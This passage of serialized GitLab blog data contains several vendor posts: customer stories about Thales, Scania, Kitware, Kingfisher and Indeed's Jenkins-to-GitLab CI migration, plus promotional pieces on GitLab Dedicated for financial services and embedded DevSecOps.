effect.\n\n**April 17, 2025**\n  * GitLab 17.11 will be released with UI-based Dependency Proxy authentication support for self-managed instances. \n\nWe recommend taking action well before the April 1 deadline to avoid\nunexpected pipeline failures. For most users, configuring the Dependency\nProxy with Docker Hub authentication is the most efficient long-term\nsolution.\n\n\n> Have questions or need implementation help? Please visit [this\nissue](https://gitlab.com/gitlab-org/gitlab/-/issues/526605) where our team\nis actively providing support.\n",[109,744,485],{"slug":897,"featured":91,"template":797},"prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"category":706,"slug":710,"posts":899},[900,914,925],{"content":901,"config":912},{"title":902,"description":903,"authors":904,"heroImage":905,"date":906,"body":907,"category":710,"tags":908},"The Co-Create Program: How customers are collaborating to build GitLab","Learn how organizations like Thales, Scania, and Kitware are partnering with GitLab engineers to contribute meaningful features that benefit the entire community.",[828],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659756/Blog/Hero%20Images/REFERENCE_-_display_preview_for_blog_images.png","2025-01-30","This past year, over 800 community members have made more than 3,000 contributions to GitLab. These contributors include team members from global organizations like Thales, Scania, and Kitware, who are helping shape GitLab's future through the [Co-Create Program](https://about.gitlab.com/community/co-create/) — GitLab's collaborative development program where customers work directly with GitLab engineers to contribute meaningful features to the platform.\n\nThrough workshops, pair programming sessions, and ongoing support, program participants get hands-on experience with GitLab's architecture and codebase while solving issues or improving existing features.\n\n\"Our experience with the Co-Create Program has been incredible,\" explains Sébastien Lejeune, open source advocate at Thales. \"It only took two months between discussing our contribution with a GitLab Contributor Success Engineer and getting it live in the GitLab release.\"\n\nIn this post, we'll explore how customers have leveraged the Co-Create Program to turn their ideas into code, learning and contributing along the way.\n\n## The Co-Create experience\n[The GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit) helps contributors get started developing on GitLab. \"The advice I would give new contributors is to remember that you can't break anything with the GDK,\" says Hook. \"If you make a change and it doesn't work, you can undo it or start again. The beauty of GDK is that you can tinker, test, and learn without worrying about the environment.\"\n\nEach participating organization in the Co-Create Program receives support throughout their contribution journey:\n\n- __Technical onboarding workshop__: A dedicated session to set up the GitLab Development Kit (GDK) and understand GitLab's architecture\n- __1:1 engineering support__: Access to GitLab engineers for pair programming and technical guidance\n- __Architecture deep dives__: Focused sessions on specific GitLab components relevant to the issue the organization is contributing to\n- __Code review support__: Detailed feedback and guidance through the merge request process\n- __Regular check-ins__: Ongoing collaboration to ensure progress and address any challenges\n\nThis structure ensures that teams can contribute effectively, regardless of their prior experience with GitLab's codebase or the Ruby/Go programming language. As John Parent from Kitware notes, \"If you've never seen or worked with GitLab before, you're staring at a sophisticated architecture and so much code across different projects. The Co-Create Program helps distill what would take weeks of internal training into a targeted crash course.\"\n\nThe result is a program that not only helps deliver new features but also builds lasting relationships between GitLab and its user community. \"It's inspiring for our engineers to see the passion our customers bring to contributing to and building GitLab together,\" shares Shekhar Patnaik, principal engineer at GitLab. \"Customers get to see the 'GitLab way,' and engineers get to witness their commitment to shaping the future of GitLab.\"\n\n## Enhancing project UX with Thales\nWhen Thales identified opportunities to improve GitLab's empty project UI, they didn't just file a feature request — they built the solution themselves. Their contributions focused on streamlining the new project setup experience by simplifying SSH/HTTPS configuration with a tabbed interface and adding copy/paste functionality for the code snippets. These changes had a significant impact on developer workflows.\n\nThe team's impact extended beyond the UX improvements. Quentin Michaud, PhD fellow for cloud applications on the edge at Thales, contributed to improving the GitLab Development Kit (GDK). As a package maintainer for Arch Linux, Michaud's expertise helped improve GDK's documentation and support its containerization efforts, making it easier for future contributors to get started.\n\n\"My open source experience helped me troubleshoot GDK's support for Linux distros,” says Michaud. “While improving package versioning documentation, I saw that GitLab's Contributor Success team was also working to set up GDK into a container. Seeing our efforts converge was a great moment for me — it showed how open source collaboration can help build better solutions.\"\n\nThe positive experience for the Thales team means that Lejeune now uses the Co-Create Program as \"a powerful example to show our managers the return on investment from open source contributions.\"\n\n## Advancing package support with Scania\nWhen Scania needed advanced package support in GitLab, they saw an opportunity to contribute and build it themselves. \n\n\"As long-time GitLab users who actively promote open source within our organization, the Co-Create Program gave us a meaningful way to contribute directly to open source,\" shares Puttaraju Venugopal Hassan, solution architect at Scania.\n\nThe team started with smaller changes to familiarize themselves with the codebase and review process, then progressed to larger features. \"One of the most rewarding aspects of the Co-Create Program has been looking back at the full, end-to-end process and seeing how far we've come,\" reflects Océane Legrand, software developer at Scania. \"We started with discovery and smaller changes, but we took on larger tasks over time. It's great to see that progression.\" \n\nTheir contributions include bug fixes for the package registry and efforts to enhance the Conan package registry feature set, bringing it closer to general availability (GA) readiness while implementing Conan version 2 support. Their work and collaboration with GitLab demonstrates how the Co-Create Program can drive significant improvements to GitLab’s package registry capabilities.\n\n\"From the start, our experience with the Co-Create Program was very organized. We had training sessions that guided us through everything we needed to contribute. One-on-one sessions with a GitLab engineer also gave us an in-depth look at GitLab’s package architecture, which made the contribution process much smoother,\" said Juan Pablo Gonzalez, software developer at Scania. \n\nThe impact of the program goes beyond code — program participants are also building valuable skills as a direct result of their contributions. In [the GitLab 17.8 release](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/#mvp), both Legrand and Gonzalez were recognized as GitLab MVPs. Legrand talked about how the work she's doing in open source impacts both GitLab and Scania, including building new skills for her and her team: \"Contributing through the Co-Create Program has given me new skills, like experience with Ruby and background migrations. When my team at Scania faced an issue during an upgrade, I was able to help troubleshoot because I'd already encountered it through the Co-Create Program.\"\n\n## Optimizing authentication for high-performance computing with Kitware\nKitware brought specialized expertise from their work with national laboratories to improve GitLab's authentication framework. Their contributions included adding support for the OAuth2 device authorization grant flow in GitLab, as well as implementing new database tables, controllers, views, and documentation. This contribution enhances GitLab's authentication options, making it more versatile for devices without browsers or with limited input capabilities.\n\n\"The Co-Create Program is the most efficient and effective way to contribute to GitLab as an external contributor,\" shares John Parent, R&D engineer at Kitware. \"Through developer pairing sessions, we found better implementations that we might have missed working alone.\"\n\nAs a long-time open source contributor, Kitware particularly appreciated GitLab's approach to development. \"I assumed GitLab wouldn't rely on out-of-the-box solutions at its scale, but seeing them incorporate a Ruby dependency instead of building a custom in-house solution was great,” says Parent. “Coming from the C++ world, where package managers are rare, it was refreshing to see this approach and how straightforward it could be.\"\n\n## Building better together: Benefits of Co-Create\nThe Co-Create Program creates value that flows both ways. \"The program bridges a gap between us as GitLab engineers and our customers,\" explains Imre Farkas, staff backend engineer at GitLab. \"As we work with them, we hear their day-to-day challenges, the parts of GitLab they rely on, and where improvements can be made. It's great to see how enthusiastic they are about getting involved in building GitLab with us.\"\n\nThis collaborative approach also accelerates GitLab's development. As Shekhar Patnaik, principal engineer at GitLab, observes: \"Through Co-Create, our customers are helping us move our roadmap forward. Their contributions allow us to deliver critical features faster, benefitting our entire user base. As the program scales, there's a real potential to accelerate development on our most impactful features by working alongside the very people who rely on them.\"\n\n## Get started with Co-Create\nReady to turn your feature requests into reality? Whether you're looking to enhance GitLab's UI like Thales, improve package support like Scania, or optimize authentication like Kitware, the Co-Create Program welcomes organizations who want to actively shape GitLab's future while building valuable open source experience.\n\nContact your GitLab representative to learn more about participating in the Co-Create Program, or visit our [Co-Create page](https://about.gitlab.com/community/co-create/) for more information.\n",[909,910,911],"contributors","open source","customers",{"slug":913,"featured":91,"template":797},"the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"content":915,"config":923},{"title":916,"description":917,"authors":918,"heroImage":905,"date":920,"body":921,"category":710,"tags":922},"Kingfisher transforming the developer experience with GitLab","Learn how the international company focuses on DevSecOps, including automation, to reduce complexity in workflows for better efficiency.",[919],"Sharon Gaudin","2024-11-12","Kingfisher plc, an international home improvement company, has leaned into GitLab’s end-to-end platform to help it build a DevSecOps foundation that is revolutionizing its developer experience. And the company plans to continue that improvement by increasing its use of platform features, focusing on security, simplifying its toolchain, and increasing the use of automation.\n\n> \u003Cimg align=\"left\" width=\"200\" height=\"200\" hspace=\"5\" vspace=\"5\" alt=\"Chintan Parmar\" src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176076/Blog/ro7u8p695zw9fllbk4j5.png\" style=\"float: left; margin-right: 25px;\"> “The whole point of this is to reduce friction for our engineers, taking away a lot of the complexity in their workflow, and bringing in best practices and governance,” says Chintan Parmar, site reliability engineering manager at Kingfisher. “In terms of what we've done and what we're doing at the moment, it really is about building a foundation in terms of CI/CD and changing the way we deploy to bring in consistency and improve the developer experience.”\n\nParmar talked about his team and their efforts during the [GitLab DevSecOps World Tour event](https://about.gitlab.com/events/devsecops-world-tour/) in London last month. In an on-stage interview with Sherrod Patching, vice president of Customer Success Management at GitLab, he laid out Kingfisher’s journey with the platform, which is enabling its teams, while also making it easier and faster to move software updates and new projects from ideation to deployment.\n\n[Kingfisher](https://www.kingfisher.com/en/index.html) is a parent company with more than 2,000 stores in eight countries across Europe. Listed on the London Stock Exchange and part of the Financial Times Stock Exchange (FTSE) 100 Index, the group reported £13 billion in total revenue in FY 2023/24. Its brands include B&Q, Screwfix, Castorama, and Brico Depot. \n\nThe company first adopted GitLab in 2016, using a free starter license, and then moved to Premium in 2020. In that time, it also has moved from on-premise to a cloud environment, started using shared GitLab runners and source code management, and began building out a CI/CD library that gives team members easy access to standardized and reusable components for typical pipeline stages, such as build, deploy, and test.\n\n## Tracking metrics that execs care about\n\nKingfisher also is tracking metrics, like deployment frequency, lead time to change, and change failure rates, with GitLab. And teams are analyzing value streams, mapping workflows, and finding bottlenecks. All of those metrics are being translated into data that company leaders can sink their teeth into. \n\n“Execs may not care about whether a merge request has been waiting 15 or 20 minutes, but they do care about how we translate that time value into dollars or pounds,” says Parmar, who used GitLab when he previously worked at [Dunelm Group, plc,](https://about.gitlab.com/customers/dunelm/) another major UK-based retailer. “Kingfisher is a very data-driven organization. We are looking to overlay these metrics to see where we can continue to improve our developer experience, eliminating slowdowns and manual tasks, while increasing automation.”\n\nWhile on-stage, Parmar made it clear that all the changes being made are aimed at improving software development and deployment. However, it’s equally paramount to making team members’ jobs easier, giving them more time and autonomy to do the kind of work they enjoy, instead of what can seem like a never-ending stream of repetitive, manual tasks. He noted that the team is so focused on easing workflows and giving engineers more time to be innovative, it has created a “developer experience squad.”\n\n## Putting people first while laying out priorities\n\nSo what’s coming next for Kingfisher and its engineering squads, which have about 600 practitioners?  \n\nAccording to Parmar, Kingfisher already has its priorities mapped out. Using GitLab to [move security left](https://about.gitlab.com/solutions/security-compliance/) is at the top of their list. The group also is focused on continuing to reduce its toolchain, and using automation to increase productivity. And he expects that early in 2025, teams will begin “dabbling” with the artificial intelligence capabilities in [GitLab Duo](https://about.gitlab.com/gitlab-duo/), a suite of AI-powered features in the platform that help increase velocity and solve key pain points across the software development lifecycle. Kingfisher will focus on how that can further increase its efficiency and productivity. \n\nTo get all of this done, Parmar says the first step is to ensure that people come first.\n\n“We’re focused on the hearts and minds of our people... and remembering that people can be attached to how they work through pipelines,” he adds. “People have different ways of building their pipelines. We need to understand what they need, what their workflows look like, and then work with them to find the right solution. After, we’ll go back to them with data that shows the improvements worked. So instead of telling them what they need, we find out what that is, and fix what’s slowing them down. That builds a very good rapport with our engineers.”\n\nChanging how a team creates and deploys software is a journey. Parmar suggests that collaboratively taking developers and security teams on that journey, instead of dragging them along, makes a big difference in ease of migration and in easing team members’ user experience.\n\n> Learn [how other GitLab customers use the DevSecOps platform](https://about.gitlab.com/customers/) to gain results for customers.\n",[911,485,717,807],{"slug":924,"featured":91,"template":797},"kingfisher-transforming-the-developer-experience-with-gitlab",{"content":926,"config":936},{"title":927,"description":928,"authors":929,"heroImage":931,"date":932,"body":933,"category":710,"tags":934},"How Indeed transformed its CI platform with GitLab","The world's #1 job site migrated thousands of projects to GitLab CI, boosting productivity and cutting costs. Learn the benefits they realized, including a 79% increase in daily pipelines.",[930],"Carl Myers","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099351/Blog/Hero%20Images/Blog/Hero%20Images/Indeed-blog-cover-image-2_4AgA1DkWLtHwBlFGvMffbC_1750099350771.png","2024-08-27","***Editor's note: From time to time, we invite members of our customer community to contribute to the GitLab Blog. Thanks to Carl Myers, Manager of CI Platforms at Indeed, for sharing your experience with GitLab.***\n\nHere at Indeed, our mission is to help people get jobs. Indeed is the [#1 job site](https://www.indeed.com/about?isid=press_us&ikw=press_us_press%2Freleases%2Faward-winning-actress-viola-davis-to-keynote-indeed-futureworks-2023_textlink_https%3A%2F%2Fwww.indeed.com%2Fabout) in the world with more than 350 million unique visitors every month.\n\nFor Indeed's Engineering Platform teams, we have a slightly different motto: \"We help people to help people get jobs.\" As part of a data-driven engineering culture that has spent the better part of two decades always putting the job seeker first, we are responsible for building the tools that not only make this possible, but empower engineers to deliver positive outcomes to job seekers every day.\n\nGitLab Continuous Integration has allowed Indeed’s CI Platform team of just 11 people to effectively support thousands of users across the company. Other benefits Indeed has realized by moving to GitLab CI include:\n- 79% increase in daily pipelines\n- 10-20% lower CI hardware costs\n- Decreased support burden\n\n## Evolving our CI platform: From Jenkins to a scalable solution\n\nLike many large technology companies, we built our CI platform organically as the company scaled, using the de facto open source and industry standard solutions available at the time. Back in 2007, when Indeed had fewer than 20 engineers, we were using Hudson, Jenkins’ direct predecessor.\n\nToday, through nearly two decades of growth, we have thousands of engineers. As new technology became available, we made incremental improvements, switching to Jenkins around 2011. Another improvement allowed us to move most of our workloads to dynamic cloud worker nodes using [AWS EC2](https://aws.amazon.com/ec2/). As we entered the Kubernetes age, however, the system architecture reached its limits.\n\nJenkins’ architecture was not created with the cloud in mind. Jenkins operates by having a \"controller\" node, a single point of failure that runs critical parts of a pipeline and farms out certain steps to worker nodes (which can scale horizontally to some extent). Controllers are also a manual scaling axis.\n\nIf you have too many jobs to fit on one controller, you must partition your jobs across controllers manually. CloudBees offers ways to mitigate this, including the CloudBees Jenkins Operations Center, which allows you to manage your constellation of controllers from a single centralized place. However, controllers remain challenging to run in a Kubernetes environment because each controller is a fragile single point of failure. Activities like node rollouts or hardware failures cause downtime.\n\nIn addition to the technical limitations baked into Jenkins itself, our CI platform also had several problems of our own making. For example, we used the Groovy Jenkins DSL to generate jobs from code in each repository. This led to each project having its own copy-pasted job pipeline, resulting in hundreds of versions that were hard to maintain and update. While Indeed’s engineering culture values flexibility and allows teams to operate in separate repositories, this flexibility became a burden as teams spent too much time addressing regular maintenance requests.\n\nRecognizing our technical debt, we turned to the [Golden Path pattern](https://tag-app-delivery.cncf.io/whitepapers/platforms/), which allows flexibility while providing a default route to simplify updates and encourage consistent practices across projects.\n\nThe CI Platform team at Indeed is not very large. Our team of around 11 engineers supports thousands of users, fielding support requests, performing upgrades and maintenance, and enabling always-on support for our global company.\n\nBecause our team not only supports our GitLab instance but also the entire CI platform, including the artifact server, our shared build code, and multiple other custom components of our platform, we had our work cut out for us. We needed a plan that would help us address our challenges while making the most efficient use of our existing resources.\n\n## Moving to GitLab CI\n\nAfter a careful design review with key stakeholders, we decided to migrate the entire company from Jenkins to GitLab CI. The primary reasons for choosing GitLab CI were:\n- We were already using GitLab for source code management.\n- GitLab is a complete offering that provides everything we need for CI.\n- GitLab CI is designed for scalability and the cloud.\n- GitLab CI enables us to write templates that extend other templates, which is compatible with our golden path strategy.\n- GitLab is open source software and the GitLab team has always been supportive in helping us submit fixes, giving us extra flexibility and reassurance.\n\nBy the time we officially announced that the GitLab CI Platform would be generally available to users, we already had 23% of all builds happening in GitLab CI from a combination of grassroots efforts and early adopters.\n\nThe challenge of the migration, however, would be the long tail. Due to the number of custom builds in Jenkins, an automated migration tool would not work for the majority of teams. Most of the benefits of the new system would not come until the old system was at 0%. Only then could we turn off the hardware and save the CloudBees license fee.\n\n## Feature parity and the benefits of starting over\n\nThough we support many different technologies at Indeed, the three most common languages are Java, Python, and JavaScript. These language stacks are used to make libraries, deployables (web services or applications), and cron jobs (a process that runs at regular intervals, for example, to build a data set in our data lake). Each of these formed a matrix of project types (Java Library, Python Cronjob, JavaScript Webapp, etc.) for which we had a skeleton in Jenkins. Therefore, we had to produce a golden path template in GitLab CI for each of these project types.\n\nMost users could use these recommended paths without change, but for those who did require customization, the golden path would still be a valuable starting point and enable them to change only what they needed, while still benefiting from centralized template updates in the future.\n\nWe quickly realized that most users, even those with customizations, were happy to take the golden path and at least try it. If they missed their customizations, they could always add them later. This was a surprising result! We thought that teams who had invested in significant customization would be loath to give them up, but in the majority of cases teams just didn't care about them anymore. This allowed us to migrate many projects very quickly — we could just drop the golden path (a small file about 6 lines long with includes) into their project, and they could take it from there.\n\n## InnerSource to the rescue\n\nThe CI Platform team also adopted a policy of \"external contributions first\" to encourage everyone in the company to participate. This is sometimes called InnerSource. We wrote tests and documentation to enable external contributions — contributions from outside our immediate team — so teams that wanted to write customizations could instead include them in the golden path behind a feature flag. This let them share their work with others and ensure we didn't break them moving forward (because they became part of our codebase, not theirs).\n\nThis also had the benefit that particular teams who were blocked waiting for a feature they needed were empowered to work on the feature themselves. We could say \"we plan to implement the feature in a few weeks, but if you need it earlier than that we are happy to accept a contribution.\" In the end, many core features necessary for parity were developed in this manner, more quickly and better than our team had resources to do it. The migration would not have been a success without this model.\n\n## Ahead of schedule and under budget\n\nOur CloudBees license expired on April 1, 2024. This gave us an aggressive target to achieve the full migration. This was particularly ambitious considering that at the time, 80% of all builds (60% of all projects) still used Jenkins for their CI. This meant over 2,000 [Jenkinsfiles](https://www.jenkins.io/doc/book/pipeline/jenkinsfile/) would still need to be rewritten or replaced with our golden path templates.\n\nTo achieve this target, we made documentation and examples available, implemented features where possible, and helped our users contribute features where they were able.\n\nWe started regular office hours, where anyone could come and ask questions or seek our help to migrate. We additionally prioritized support questions relating to migration ahead of almost everything else. Our team became GitLab CI experts and shared that expertise inside our team and across the organization.\n\nAutomatic migration for most projects was not possible, but we discovered it could work for a small subset of projects where customization was rare. We created a Sourcegraph batch change campaign to submit merge requests to migrate hundreds of projects, and poked and prodded our users to accept these MRs.\n\nWe took success stories from our users and shared them widely. As users contributed new features to our golden paths, we advertised that these features \"came free\" when you migrated to GitLab CI. Some examples included built-in security and compliance scanning, Slack notifications for CI builds, and integrations with other internal systems.\n\nWe also conducted a campaign of aggressive \"scream tests.\" We automatically disabled Jenkins jobs that hadn't run or succeeded in a while, and told users that if they needed them, they could turn them back on. This was a low-friction way to identify which jobs were actually needed. We had thousands of jobs that hadn't been run a single time since our last CI migration (which was Jenkins to Jenkins). This told us we could safely ignore almost all of them.\n\nIn January 2024, we nudged our users by announcing that all Jenkins controllers would become read-only (no builds) unless an exception was explicitly requested. We had much better ownership information for controllers and they generally aligned with our organization's structure, so it made sense to focus on controllers rather than jobs. The list of controllers was also a much more manageable list than the list of jobs.\n\nTo obtain an exception, we asked our users to find their controllers in a spreadsheet and put their contact information next to each one. This enabled us to get a guaranteed up-to-date list of stakeholders we could follow up with as we sprinted to the finish line, but also enabled users to clearly let us know which jobs they absolutely needed. At peak, we had about 400 controllers; by January we had 220, but only 54 controllers required exceptions (several of them owned by us, to run our tests and canaries).\n\n![Indeed - Jenkins Controller Count graph](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099357/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099357392.png)\n\nWe had a manageable list of around 50 teams we divided among our team and started doing outreach to understand how each team was progressing with the migration. We spent January and February discovering that some teams planned to finish their migration without our help before February 28 others were planning to deprecate their projects before then, and a very small number were very worried they wouldn't make it.\n\nWe were able to work with this smaller set of teams and provide them with “white-glove” service. We still explained that while we lacked the expertise necessary to do the migration for them, we could partner with a subject matter expert from their team. For some projects, we wrote and they reviewed; for others, they wrote and we reviewed. In the end, all of our work paid off and we turned off Jenkins on the very day we had announced 8 months earlier.\n\n## The results: Enhanced CI efficiency and user satisfaction\n\nAt its peak, our Jenkins CI platform ran over 14,000 pipelines per day and serviced our thousands of projects. Today, our GitLab CI platform has run over 40,000 pipelines in a single day and regularly runs over 25,000 per day. The incremental cost of each job of each pipeline is similar to Jenkins, but without the overhead of hardware to run the controllers. Additionally, these controllers served as single points of failure and scaling limiters that forced us to artificially divide our platform into segments. While an apples-to-apples comparison is difficult, we find that with this overhead gone our CI hardware costs are 10-20% lower. Additionally, the support burden of GitLab CI is lower since the application automatically scales in the cloud, has cross-availability-zone resiliency, and the templating language has excellent public documentation available.\n\nA benefit just as important, if not moreso, is that now we are at over 70% adoption of our golden paths. This means that we can roll out an improvement and over 5,000 projects at Indeed will benefit immediately with no action required on their part. This has enabled us to move some jobs to more cost-effective ARM64 instances, keep users' build images updated more easily, and better manage other cost saving opportunities. Most importantly, our users are happier with the new platform.\n\n__About the author:__\n*Carl Myers lives in Sacramento, CA, and is the manager of the CI Platform team at Indeed. Carl has spent his nearly two-decade career dedicated to building internal tools and developer platforms that delight and empower engineers at companies large and small.*\n\n**Acknowledgements:**\n*This migration would not have been possible without the tireless efforts of Tron Nedelea, Eddie Huang, Vivek Nynaru, Carlos Gonzalez, Lane Van Elderen, and the rest of the CI Platform team. The team also especially appreciates the leadership of Deepak Bitragunta, and Irina Tyree for helping secure buy-in, resources and company wide alignment throughout this long project. Finally, our thanks go out to everyone across Indeed who contributed code, feedback, bug reports, and helped migrate projects.*\n\n**This is an edited version of the article [How Indeed Replaced Its CI Platform with Gitlab CI](https://engineering.indeedblog.com/blog/2024/08/indeed-gitlab-ci-migration/), originally published on the Indeed engineering blog.**",[911,109,935,485],"user stories",{"slug":937,"featured":91,"template":797},"how-indeed-transformed-its-ci-platform-with-gitlab",{"category":717,"slug":721,"posts":939},[940,954,968],{"content":941,"config":952},{"title":942,"description":943,"authors":944,"heroImage":947,"date":948,"category":721,"tags":949,"body":951},"Why financial services choose single-tenant SaaS","Discover how GitLab Dedicated can help financial services organizations achieve compliant DevSecOps without compromising performance.",[945,946],"George Kichukov","Allie Holland","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682898/Blog/Hero%20Images/cloud-security.png","2025-08-14",[560,950],"DevOps platform","Walk into any major financial institution and you'll see the contradiction immediately. Past the armed guards, through the biometric scanners, beyond the reinforced walls and multiple security checkpoints, you'll find developers building the algorithms that power global finance — on shared infrastructure alongside millions of strangers.\n\nThe software powering today's financial institutions is anything but ordinary. It includes credit risk models that protect billions in assets, payment processing algorithms handling millions of transactions, customer intelligence platforms that drive business strategy, and regulatory systems ensuring operational compliance  — all powered by source code that serves as both operational core and strategic asset.\n\n## When shared infrastructure becomes systemic risk\n\nThe rise of software-as-a-service platforms has created an uncomfortable reality for financial institutions. Every shared tenant becomes an unmanaged third-party risk, turning platform-wide incidents into industry-wide disruptions. This is the exact kind of concentration risk drawing increasing attention from regulators.\n\nJPMorgan Chase's Chief Information Security Officer Patrick Opet recently issued a stark warning to the industry in an [open letter](https://www.jpmorgan.com/technology/technology-blog/open-letter-to-our-suppliers) to third-party suppliers. He highlighted how SaaS adoption \"is creating a substantial vulnerability that is weakening the global economic system\" by embedding \"concentration risk into global critical infrastructure.\" The letter emphasizes that \"an attack on one major SaaS or PaaS provider can immediately ripple through its customers,” creating exactly the systemic risk that multi-tenant cloud platforms for source code management, CI builds, CD deployments, and security scanning introduce.\n\nConsider the regulatory complexity this creates. In shared environments, your compliance posture becomes hostage to potential incidents impacting other tenants as well as the concentration risks of large attack surface providers. A misconfiguration affecting any organization on the platform can trigger wider impact across the entire ecosystem. \n\nData sovereignty challenges compound this risk. Shared platforms distribute workloads across multiple regions and jurisdictions, often without granular control over where your source code executes. For institutions operating under strict regulatory requirements, this geographic distribution can create compliance gaps that are difficult to remediate.\n\nThen there's the amplification effect. Every shared tenant effectively becomes an indirect third-party risk to your operations. Their vulnerabilities increase your attack surface. Their incidents can impact your availability. Their compromises can affect your environment.\n\n## Purpose-built for what matters most\n\nGitLab recognizes that your source code deserves the same security posture as your most sensitive customer data. Rather than forcing you to choose between cloud-scale efficiency and enterprise-grade security, GitLab delivers both through [GitLab Dedicated](https://about.gitlab.com/dedicated/), purpose-built infrastructure that maintains complete isolation.\n\nYour development workflows, source code [repositories](https://docs.gitlab.com/user/project/repository/), and [CI/CD pipelines](https://docs.gitlab.com/ci/pipelines/) run in an environment exclusively dedicated to your organization. The [hosted runners](https://docs.gitlab.com/administration/dedicated/hosted_runners/) for GitLab Dedicated exemplify this approach. These runners connect securely to your data center through outbound private links, allowing access to your private services without exposing any traffic to the public internet. The [auto-scaling architecture](https://docs.gitlab.com/runner/runner_autoscale/) provides the performance you need, without compromising security or control. \n \n## Rethinking control\n\nFor financial institutions, minimizing shared risk is only part of the equation — true resilience requires precise control over how systems operate, scale, and comply with regulatory frameworks. GitLab Dedicated enables comprehensive data sovereignty through multiple layers of customer control. You maintain complete authority over [encryption keys](https://docs.gitlab.com/administration/dedicated/encryption/#encrypted-data-at-rest) through [bring-your-own-key (BYOK)](https://docs.gitlab.com/administration/dedicated/encryption/#bring-your-own-key-byok) capabilities, ensuring that sensitive source code and configuration data remains accessible only to your organization. Even GitLab cannot access your encrypted data without your keys.\n\n[Data residency](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) becomes a choice rather than a constraint. You select your preferred AWS region to meet regulatory requirements and organizational data governance policies, maintaining full control over where your sensitive source code and intellectual property are stored.\n\nThis control extends to [compliance frameworks](https://docs.gitlab.com/user/compliance/compliance_frameworks/) that financial institutions require. The platform provides [comprehensive audit trails](https://docs.gitlab.com/user/compliance/audit_events/) and logging capabilities that support compliance efforts for financial services regulations like [Sarbanes-Oxley](https://about.gitlab.com/compliance/sox-compliance/) and [GLBA Safeguards Rule](https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act).\n\nWhen compliance questions arise, you work directly with GitLab's dedicated support team — experienced professionals who understand the regulatory challenges that organizations in highly regulated industries face.\n\n## Operational excellence without operational overhead\n\nGitLab Dedicated maintains [high availability](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) with [built-in disaster recovery](https://docs.gitlab.com/subscriptions/gitlab_dedicated/), ensuring your development operations remain resilient even during infrastructure failures. The dedicated resources scale with your organization's needs without the performance variability that shared environments introduce.\n\nThe [zero-maintenance approach](https://docs.gitlab.com/subscriptions/gitlab_dedicated/maintenance/) to CI/CD infrastructure eliminates a significant operational burden. Your teams focus on development while GitLab manages the underlying infrastructure, auto-scaling, and maintenance — including rapid security patching to protect your critical intellectual property from emerging threats. This operational efficiency doesn't come at the cost of security: the dedicated infrastructure provides enterprise-grade controls while delivering cloud-scale performance.\n\n## The competitive reality\n\nWhile some institutions debate infrastructure strategies, industry leaders are taking decisive action. [NatWest Group](https://about.gitlab.com/press/releases/2022-11-30-gitlab-dedicated-launches-to-meet-complex-compliance-requirements/), one of the UK's largest financial institutions, chose GitLab Dedicated to transform their engineering capabilities:\n\n> *\"NatWest Group is adopting GitLab Dedicated to enable our engineers to use a common cloud engineering platform; delivering new customer outcomes rapidly, frequently and securely with high quality, automated testing, on demand infrastructure and straight-through deployment. This will significantly enhance collaboration, improve developer productivity and unleash creativity via a 'single-pane-of-glass' for software development.\"*\n>\n> **Adam Leggett**, Platform Lead - Engineering Platforms, NatWest\n\n## The strategic choice\n\nThe most successful financial institutions face a unique challenge: They have the most to lose from shared infrastructure risks, but also the resources to architect better solutions. \n\n**The question that separates industry leaders from followers:** Will you accept shared infrastructure risks as the price of digital transformation, or will you invest in infrastructure that treats your source code with the strategic importance it deserves?\n\nYour trading algorithms aren't shared. Your risk models aren't shared. Your customer data isn't shared.\n\n**Why is your development platform shared?**\n\n*Ready to treat your source code like the strategic asset it is? [Let’s chat](https://about.gitlab.com/solutions/finance/) about how GitLab Dedicated provides the security, compliance, and performance that financial institutions demand — without the compromises of shared infrastructure.*",{"featured":6,"template":797,"slug":953},"why-financial-services-choose-single-tenant-saas",{"content":955,"config":966},{"title":956,"description":957,"authors":958,"heroImage":960,"date":961,"body":962,"category":721,"tags":963},"Why now is the time for embedded DevSecOps","Learn how embedded development teams address long feedback cycles, manual compliance, and isolated development with DevSecOps.",[959],"Matt DeLaney","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659978/Blog/Hero%20Images/automation.png","2025-07-01","For embedded systems teams, DevSecOps has traditionally seemed like an approach better suited to SaaS applications than firmware development. But this is changing. Software is now a primary differentiator in hardware products. New market expectations demand modern development practices. In response, organizations are pursuing \"embedded DevSecOps.\"\n\nWhat is embedded DevSecOps? The application of collaborative engineering practices, integrated toolchains, and automation for building, testing, and securing software to embedded systems development. Embedded DevSecOps includes necessary adaptations for hardware integration.\n## Convergence of market forces\nThree powerful market forces are converging to compel embedded teams to modernize their development practices.\n### 1. The software-defined product revolution\nProducts once defined primarily by their hardware are now differentiated by their software capabilities. The software-defined vehicle (SDV) market tells a compelling story in this regard. It's projected to grow from $213.5 billion in 2024 to [$1.24 trillion](https://www.marketsandmarkets.com/Market-Reports/software-defined-vehicles-market-187205966.html) by 2030, a massive 34% compound annual growth rate.\nThe software content in these products is growing considerably. By the end of 2025, the average vehicle is expected to contain [650 million lines of code](https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/). Traditional embedded development approaches cannot handle this level of software complexity. \n### 2. Hardware virtualization as a technical enabler\nHardware virtualization is a key technical enabler of embedded DevSecOps. Virtual electronic control units (vECUs), cloud-based ARM CPUs, and sophisticated simulation environments are becoming more prevalent. Virtual hardware allows testing that once required physical hardware.\n\nThese virtualization technologies provide a foundation for continuous integration ([CI](https://about.gitlab.com/topics/ci-cd/)). But their value is fully realized only when integrated into an automated workflow. Combined with collaborative development practices and automated pipelines, virtual testing helps teams detect issues much earlier, when fixes are far less expensive. Without embedded DevSecOps practices and tooling to orchestrate these virtual resources, organizations can't capitalize on the virtualization trend.\n### 3. The competitive and economic reality\nThree interrelated forces are reshaping the competitive landscape for embedded development:\n- The talent war has shifted decisively. As an embedded 